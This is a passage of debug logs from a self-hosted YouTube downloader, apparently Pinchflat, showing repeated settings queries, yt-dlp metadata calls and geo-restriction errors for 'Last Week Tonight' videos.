s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:22.586 [debug] Running yt-dlp command for action: get_media_attributes 16:16:22.594 [debug] QUERY OK source="settings" db=0.0ms idle=616.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:22.594 [debug] QUERY OK source="settings" db=0.0ms idle=610.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:22.594 [debug] QUERY OK source="settings" db=0.0ms idle=285.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:22.594 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c4/30/c4303bc8d4a18ea0bac85f793c0af84d48c6e276b6578d078d3dadafd68cbdeb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:16:24.099 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c4/30/c4303bc8d4a18ea0bac85f793c0af84d48c6e276b6578d078d3dadafd68cbdeb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:16:24.099 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:16:24.099 [debug] QUERY OK source="settings" db=0.1ms idle=789.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:24.099 [debug] QUERY OK source="settings" db=0.0ms idle=221.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:24.099 [debug] Running yt-dlp command for action: get_media_attributes 16:16:24.101 [debug] QUERY OK source="settings" db=0.0ms idle=222.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:24.101 [debug] QUERY OK source="settings" db=0.1ms idle=222.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:24.101 [debug] QUERY OK source="settings" db=0.0ms idle=223.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:24.101 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/34/97/3497152313acc9ba38dd4727669795f126c84a90566ac74a903757d64b967685.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:16:25.677 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/34/97/3497152313acc9ba38dd4727669795f126c84a90566ac74a903757d64b967685.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:16:25.678 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:16:25.678 [debug] QUERY OK source="settings" db=0.1ms idle=1576.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:25.678 [debug] QUERY OK source="settings" db=0.1ms idle=1576.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:25.678 [debug] Running yt-dlp command for action: get_media_attributes 16:16:25.690 [debug] QUERY OK source="settings" db=0.1ms idle=1588.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:25.690 [debug] QUERY OK source="settings" db=0.0ms idle=1379.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:25.690 [debug] QUERY OK source="settings" db=0.0ms idle=378.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:25.690 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ab/44/ab44925bd17ca09b2ef8d09ca9013b931f1a55104dd27d88c46c071dea164d36.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:16:27.130 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ab/44/ab44925bd17ca09b2ef8d09ca9013b931f1a55104dd27d88c46c071dea164d36.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:16:27.130 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:16:27.131 [debug] QUERY OK source="settings" db=0.1ms idle=818.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:27.131 [debug] QUERY OK source="settings" db=0.0ms idle=253.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:27.131 [debug] Running yt-dlp command for action: get_media_attributes 16:16:27.132 [debug] QUERY OK source="settings" db=0.0ms idle=254.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:27.132 [debug] QUERY OK source="settings" db=0.0ms idle=254.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:27.132 [debug] QUERY OK source="settings" db=0.0ms idle=254.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:27.132 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/07/95/0795804d9f48742ec2ab9b32b3a52831aec8d36b8637e40680eeb7c21a53986a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:16:27.959 [info] {"source":"oban","duration":10759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:28.320 [info] {"args":{"id":30},"id":3799883,"meta":{},"system_time":1770761788320874918,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:28.321 [debug] QUERY OK source="sources" db=0.4ms idle=1188.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 16:16:28.322 [debug] QUERY OK source="settings" db=0.4ms idle=1007.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS 